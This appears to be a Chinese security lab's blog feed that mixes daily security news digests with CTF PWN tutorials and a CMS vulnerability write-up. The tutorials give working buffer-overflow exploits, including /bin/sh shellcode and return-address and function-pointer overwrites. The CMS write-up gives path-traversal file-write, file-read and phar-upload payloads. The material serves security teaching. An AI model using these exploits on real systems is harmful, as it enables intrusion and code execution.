网络安全日报 2021年03月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的XcodeSpy Mac恶意软件针对软件开发人员 https://www.securityweek.com/new-xcodespy-mac-malware-targets-software-developers 2、遭拆除5个月后,TrickBot仍然活跃 https://www.securityweek.com/five-months-after-takedown-attempt-cisa-and-fbi-warn-ongoing-trickbot-attacks 3、研究人员发现TikTok Android应用RCE漏洞 https://securityaffairs.co/wordpress/115714/hacking/rce-tiktok-android-app.html 4、研究人员发现在Twitter图片中隐藏zip、mp3文件的方法 https://threatpost.com/researcher-hides-files-in-png-twitter/164881/ 5、MyBB报告了严重的RCE漏洞 https://thehackernews.com/2021/03/critical-rce-flaw-reported-in-mybb.html 6、Google透露Chrome及其应用收集哪些个人数据 https://thehackernews.com/2021/03/google-to-reveals-what-personal-data.html 7、Mekotio Tojan使用AutoHotKey逃避检测和窃取用户信息 https://cyware.com/news/mekotio-tojan-is-using-autohotkey-to-avoid-detection-d9d237d4 8、WordPress Tutor LMS 插件存在多个SQL注入高危漏洞 https://threatpost.com/tutor-lms-wordpress-security-holes/164868/ 9、钓鱼邮件冒充美国国税局分发Dridex银行木马 https://threatpost.com/covid-19-relief-checks-dridex-malware/164853/ 10、Descartes Aljex软件公司泄露了103 GB的数据 https://www.hackread.com/shipping-management-software-firm-data-online/
CTF PWN练习之绕过返回地址限制
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  先介绍一些这个实验要知道的一些东西 builtin_return_address函数 builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。还有多层跳转retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110316261100001 先仔细看一下题目描述。主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh: \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81 请对pwn7程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。 因为这个题目直接覆盖返回地址跳转到Shellcode执行是不行的,程序队返回地址进行了一点限制,学会绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。所以看上去会难一些 我们先进行代码审计。 使用cd /home/test/7切换到程序所在目录,执行cat pwn7.c即可看到源代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if ((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char** argv) { getpath(); return 0; } getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。 执行gdb pwn7即可开始通过gdb对pwn7进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。 类似实验《CTF PWN练习之返回地址覆盖》,我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数: 上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有: 0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。 也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。 这里采用两次跳转的方法来突破这个限制。我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为: 0x080484e9 <+117>: ret 那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的: 在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。 同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下: 在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下: shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" + "\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff" + "\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69" + "\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81") print 'A'*80 + '\xe9\x84\x04\x08' + '\xc4\xd6\xff\xff' + shellcode 在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程: PWN练习还是很有难度的,总的来说比之前接触的实验上了一个档次,不过话说回来,咱们有关PWN题型的练习也告一段落了,接下来要开始接触新的知识了。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新Mirai Variant利用数十个漏洞来劫持IoT设备 https://www.securityweek.com/new-mirai-variant-leverages-10-vulnerabilities-hijack-iot-devices 2、Mimecast称SolarWinds黑客窃取了源代码 https://www.securityweek.com/mimecast-says-solarwinds-hackers-stole-source-code 3、思科修复小型企业路由器安全漏洞 https://threatpost.com/cisco-security-hole-small-business-routers/164859/ 4、DuckDuckGo扩展漏洞使Edge用户容易被监听 https://portswigger.net/daily-swig/duckduckgo-browser-extension-vulnerability-leaves-edge-users-open-to-potential-cyber-snooping 5、英国伯明翰南方城市学院遭到勒索软件攻击 https://feweek.co.uk/2021/03/15/college-group-closes-all-campuses-for-a-week-following-major-cyber-attack/ 6、Twitter账户劫持攻击策划者被判入狱 https://thehill.com/policy/cybersecurity/543515-twitter-hacker-to-serve-three-years-in-prison 7、荷兰当局表示至少1200台服务器受Exchange攻击影响 https://www.reuters.com/article/us-netherland-cyber-microsoft/microsoft-hack-fallout-substantial-for-dutch-servers-watchdog-says-idUSKBN2B82K4 8、支付卡窃取程序将获取的数据隐藏在JPG文件中 https://securityaffairs.co/wordpress/115655/hacking/magecart-credit-card-jpg.html 9、Twitter启用2FA支持多个安全密钥保护账户安全 https://www.securityweek.com/twitter-users-can-now-secure-accounts-multiple-security-keys 10、研究发现大多数安全机构发布的PDF文件包含敏感信息 https://www.securityweek.com/research-security-agencies-expose-information-improperly-sanitized-pdfs
CTF PWN练习之返回地址覆盖
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式。 学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型。 函数调用约定 函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。 通过前面几个PWN系列实验的学习,我们可以发现在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的: push %ebp mov %esp,%ebp ...... leave ret 在函数大开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov %esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop %ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。 如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int arg3),那么函数A中的调用函数B时的汇编指令的形式如下: push arg3 push arg2 push arg1 call B 连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。 call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。 基本的缓冲区溢出攻击模型 基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。 1. 实验内容和步骤 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409173900001。 做实验前先好好审题,看一下描述。 主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息: Congratulations, you pwned it. 请对pwn5程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出成功的提示信息。 使用cd /home/test/5切换到程序所在目录,执行cat pwn5.c即可看到源代码: #include <stdio.h> void win() { printf("Congratulations, you pwned it.\n"); } int main(int argc, char** argv) { char buffer[64]; gets(buffer); // 存在缓冲区溢出 return 0; } 程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。 gets(buffer)这个溢出太明显了,问题就是不知道我们要输入多少位才能溢出。 执行gdb pwn5即可开始通过gdb对pwn5进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可: 我们首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b *0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下,如下图所示: 这时候运行i r $esp来查看esp寄存器的值,通过前面对函数调用约定的分析,我们知道这时候栈顶存储的就是返回地址,这时候esp寄存器的值为0xffffd6cc。 在gdb中输入c命令让程序继续执行,将在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r $eax来查看buffer的地址: 我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示: 也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。 在gdb中执行disas win查看win函数的地址为0x080483e4,接下来就可以构造输入数据来发起溢出攻击了。 我们只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。 现在win函数的地址为0x080483e4,转换为小端格式是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试: python -c "print 'A'*76+'\xe4\x83\x04\x08'" | ./pwn5 攻击效果如下图所示: 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、因内容安全问题俄罗斯计划在一个月之内封禁Twitter https://www.securityweek.com/russia-threatens-block-twitter-month 2、研究人员发现一系列利用Mirai新变体的攻击 https://securityaffairs.co/wordpress/115664/uncategorized/mirai-botnet-variant-2.html 3、Microsoft回滚更新以修复365和其他服务无法访问故障 https://www.reuters.com/article/us-microsoft-teams-outages/microsoft-rolls-back-update-to-fix-access-issues-for-thousands-idUSKBN2B72MJ 4、NFT数字艺术平台造账户接管和盗取攻击 https://www.cyberscoop.com/nft-nifty-gateway-hackers-digital-art-theft/ 5、FBI警告称针对教育机构的Pysa勒索软件活动不断增加 https://www.bleepingcomputer.com/news/security/fbi-warns-of-escalating-pysa-ransomware-attacks-on-education-orgs 6、研究人员发现与Taurus窃取程序有关的新活动 https://blog.minerva-labs.com/taurus-stealers-evolution 7、钓鱼网站利用JS检查是否在虚拟机中以逃避检测 https://www.bleepingcomputer.com/news/security/phishing-sites-now-detect-virtual-machines-to-bypass-detection/ 8、Guns.com的完整数据库及其源代码遭黑客转储 https://www.hackread.com/hacker-dumps-guns-com-database-customers-admin-data/ 9、Blender官方网站遭到黑客攻击关闭了部分内容 https://www.bleepingcomputer.com/news/security/blender-website-in-maintenance-mode-after-hacking-attempt/ 10、加拿大税务局因安全问题锁定了80多万纳税人的账号 https://www.cbc.ca/news/politics/cra-accounts-locked-1.5947714
CTF PWN练习之函数指针改写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  先介绍工具吧! 使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。  本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.  本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409162800001(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。  1.实验内容和步骤 大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息: calling function pointer, jumping to 0x41414141 Segmentation fault 当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息: calling function pointer, jumping to 0xXXXXXXXX Congratulations, you pwned it. 请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。  开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码: #include <stdio.h> #include <string.h>  typedef void (* func)();  void win()// 输出 成功提示信息的函数 {     printf("Congratulations, you pwned it.\n"); }  int main(int argc,  char** argv) {     func fp;     char buffer[64];      fp = NULL;     gets(buffer);  // 可引发缓冲区溢出      if (fp)    // 判断函数指针变量fp是否不为NULL     {         printf("calling function pointer, jumping to 0x%08X\n",  fp);         fp();  // 调用 fp     }     return 0; } 程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。  继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:   大东:下面是对main函数中的汇编代码的解释:    0x08048428 <+0>:      push   %ebp    0x08048429 <+1>:      mov    %esp,%ebp    0x0804842b <+3>:      and    $0xfffffff0,%esp    ; 在栈上开辟0x60字节的空间    0x0804842e <+6>:      sub    $0x60,%esp    ; 初始化fp的值为NULL,其中fp位于[esp+0x5c]    0x08048431 <+9>:      movl   $0x0,0x5c(%esp)    ; 执行gets(buffer),其中buffer位于[esp+0x1c]    0x08048439 <+17>:     lea    0x1c(%esp),%eax    0x0804843d <+21>:     mov    %eax,(%esp)    0x08048440 <+24>:     call   0x8048320 < gets@plt>    ; 判断fp是否为NULL    0x08048445 <+29>:     cmpl   $0x0,0x5c(%esp)    0x0804844a <+34>:     je     0x8048467 < main+63>    0x0804844c <+36>:     mov    $0x8048554,%eax    0x08048451 <+41>:     mov    0x5c(%esp),%edx    0x08048455 <+45>:     mov    %edx,0x4(%esp)    0x08048459 <+49>:     mov    %eax,(%esp)    0x0804845c <+52>:     call   0x8048340 < printf@plt>    ; 执行fp()    0x08048461 <+57>:     mov    0x5c(%esp),%eax    0x08048465 <+61>:     call   *%eax    0x08048467 <+63>:     mov    $0x0,%eax    0x0804846c <+68>:     leave    0x0804846d <+69>:     ret 通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c = 0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。  通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:   可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了: python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4 攻击效果如下图所示:   PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Microsoft推出针对Exchange攻击的一键缓解工具 https://www.securityweek.com/microsoft-ships-one-click-mitigation-tool-exchange-attacks 2、AMD为新的EPYC 7003系列处理器增加了新的安全功能 https://www.securityweek.com/amd-unveils-new-security-features-launch-epyc-7003-series-processors 3、美国司法部起诉Sky Global首席执行官协助犯罪分子 https://securityaffairs.co/wordpress/115629/cyber-crime/sky-global-ceo-indicted.html 4、黑客利用Exchange 漏洞攻击了32家印度公司 https://ciso.economictimes.indiatimes.com/news/hackers-hit-32-indian-firms-via-microsoft-email-servers-ld/81510202 5、以色列K.L.S汽车信贷公司遭黑客攻击数据泄露 https://www.jpost.com/jpost-tech/israeli-car-financing-company-hacked-private-information-held-for-ransom-661865 6、研究人员发布了微软Exchange漏洞的新PoC https://www.bleepingcomputer.com/news/security/new-poc-for-microsoft-exchange-bugs-puts-attacks-in-reach-of-anyone/ 7、PHP信用卡窃取程序将信息保存在JPG文件中 https://blog.sucuri.net/2021/03/magento-2-php-credit-card-skimmer-saves-to-jpg.html 8、RTM银行木马和Quoter勒索软件合作 https://cyware.com/news/rtm-and-quoter-ransomware-a-deadly-combo-2b1072f6 9、超8W台Exchange 仍受到漏洞的影响 https://www.securityweek.com/over-80000-exchange-servers-still-affected-actively-exploited-vulnerabilities 10、Fastway Couriers快递公司泄露用户联系方式 https://www.irishtimes.com/news/ireland/irish-news/cyberattack-on-fastway-couriers-compromises-contact-details-1.4508084
记某cms的漏洞挖掘之旅
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 任意文件写入 这个 cms 是基于 thinkphp5.1 的基础开发的,一般我们挖 cms 如果想 rce 的话,可以在 application 文件夹直接搜索file_put_content等危险函数,如下图,我们直接全局定位到这个fileedit方法里面的file_put_content 我们看到第一个参数$rootpath,他是被拼接了这么一段路径 $rootpath = Env::get('root_path') . 'theme' . DIRECTORY_SEPARATOR . $template . DIRECTORY_SEPARATOR . $path; 其中$path是我们可控的,那么一般就可以考虑下是否存在路径穿越的问题 再看到第二个参数htmlspecialchars_decode(Request::param('html')也是我们可控的 所以这里就比较清晰了,我们只需要../就可以进行路径穿越,htmlspecialchars_decode也对我们写入 php 代码没有什么影响,所以我们直接 post 传参 path=../../index.php&html=<?php phpinfo();?>即可 可以看到已经成功 rce 任意文件读取 我们再顺着fileedit这个方法往下瞅瞅,发现还有一个file_get_contents,他的参数也是$rootpath,所以这里也是我们可控的,不同的是进入这个 else 分支我们用 get 传参即可 我们直接传入../../index.php,发现已经成功把index.php读取出来了 反序列化漏洞 上面两个漏洞是利用了file_get_contents和file_put_content,这两个函数都是涉及了 IO 的操作函数,也就是说可以进行操作 phar 反序列化漏洞,但是他们的路径并不是完全可控的,只是后面一小部分可控,所以这条路走不通,所以接下来的思路就是搜索有没有可以操作phar的函数 我们直接全局搜索is_dir,一个一个分析是否可以利用 这里我的运气比较好,映入眼帘的是scanFilesForTree这个方法,他的$dir是直接可控的,文章的开头说了这个 cms 是基于 thinkphp5.1 二次开发的,所以我们可以直接利用这个漏洞生成 phar 文件来进行 rce 我们首先看看能不能上传 phar 文件,在后台一处发现可以上传文件 我们先抓个包试试水,发现提示非法图片文件,应该是写了什么过滤 我们找到upload这个函数发现对图片的类型和大小进行了一些验证 public function upload($file, $fileType = 'image') { // 验证文件类型及大小 switch ($fileType) { case 'image': $result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]); if(empty($result)){ // 上传失败获取错误信息 $this->error = $file->getError(); return fal 然后尝试加了GIF89a头就可以上传了,看来多打CTF还是有用的,于是直接上传我们的 phar 文件就好了 这里要记得生成 phar 文件的时候要要加入GIF89a头来绕过,如下 $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub 可以看到已经成功上传了,同时记住下面那个路径 最后我们在scanFilesForTree这里触发我们的phar文件就可以了 总结 本篇的漏洞已经全部上交cnvd,这个 cms 总的来说比较适合练手,主要的切入点还是通过白盒通过寻找一些危险的函数,再想方设法的去控制它的参数变量 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167  (过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。) 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之环境变量继承
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天的实验和上次学习的精确覆盖变量数据有关,CTF PWN练习中的环境变量继承。这个题目有联系到环境变量参数,我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。 C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。 实验介绍开始 打印环境变量参数信息的示例代码(位于/home/test/3目录下的env.c): #include <stdio.h> int main(int argc, char** argv, char** envp) { int i = 0; while (envp[i]) { printf("envp[%2d] = %s\n", i, envp[i]); i += 1; } return 0; } 编译这段代码生成env程序,然后在命令行下执行,可以看到程序打印出了具体的环境变量参数信息: 环境变量的格式为:环境变量名=环境变量值 当父进程启动一个子进程时,子进程会继承父进程的换了变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。 在Shell中执行export testenv="Hello_World"之后,再执行./env,可以看到新的环境变量已经被子进程继承了。 除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。 看完基础知识之后,我们开始来做题,本文实验题目:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409142200001。 同样的先看题目描述 主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。 请对pwn3程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的环境变量参数数据,使之输出成功的提示信息。 题目的考点就是需要我们构造特定的环境变量参数来对程序进行溢出攻击,但是我们溢出也是有条件的,分析一下。 先来看源码,使用cd /home/test/3切换到程序所在目录,执行cat pwn3.c即可看到源代码: #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char** argv) { int modified; char buffer[64]; char* variable; variable = getenv("HEETIAN"); // 获取环境变量HEETIAN的值 if (variable == NULL) { printf("Please set the HEETIAN environment variable\n"); exit(1); } modified = 0; strcpy(buffer, variable); // 调用strcpy进行字符串复制,可引发缓冲区溢出 if (modified == 0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a { printf("Congratulations, you pwned it.\n"); } else { printf("Please try again, you got 0x%08X\n", modified); } return 0; } 程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。 这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。 这只是c语言代码,我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,下面是对main函数中的汇编代码的解释(无关代码已经省略): (gdb) disas main Dump of assembler code for function main: ...... 0x0804848d <+9>: movl $0x80485d4,(%esp) ; 调用getenv获取环境变量HEETIAN的值 0x08048494 <+16>: call 0x8048364 <getenv@plt> ; 将结果保存到variable变量,即[esp+0x5c] 0x08048499 <+21>: mov %eax,0x5c(%esp) ; 判断返回结果是否为NULL 0x0804849d <+25>: cmpl $0x0,0x5c(%esp) 0x080484a2 <+30>: jne 0x80484bc <main+56> ...... ; 初始化modified变量的值为0,位于[esp+0x58] 0x080484bc <+56>: movl $0x0,0x58(%esp) ; 调用strcpy对buffer进行填充,位于[esp+0x18] 0x080484c4 <+64>: mov 0x5c(%esp),%eax 0x080484c8 <+68>: mov %eax,0x4(%esp) 0x080484cc <+72>: lea 0x18(%esp),%eax 0x080484d0 <+76>: mov %eax,(%esp) 0x080484d3 <+79>: call 0x8048384 <strcpy@plt> ; 判断modified变量的值是否为0x0d0a0d0a 0x080484d8 <+84>: cmpl $0xd0a0d0a,0x58(%esp) ...... End of assembler dump. 通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18 = 0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。 我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗? 当然不是,之前说到了环境变量,需要构造环境变量然后再来输入。 因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。 要是感觉连续输入64个a比较麻烦,这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量,执行下面的语句: export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行./pwn3就可以看到攻击效果了,如图所示: 接下来,我们来看通过python脚本动态修改环境变量。 在/home/test/3下存在一个pwn3.py的python脚本,执行cat pwn3.py可以看到源码: import os def pwn(): os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d") os.system("./pwn3") if name == "main": pwn() 为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示: pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月15日
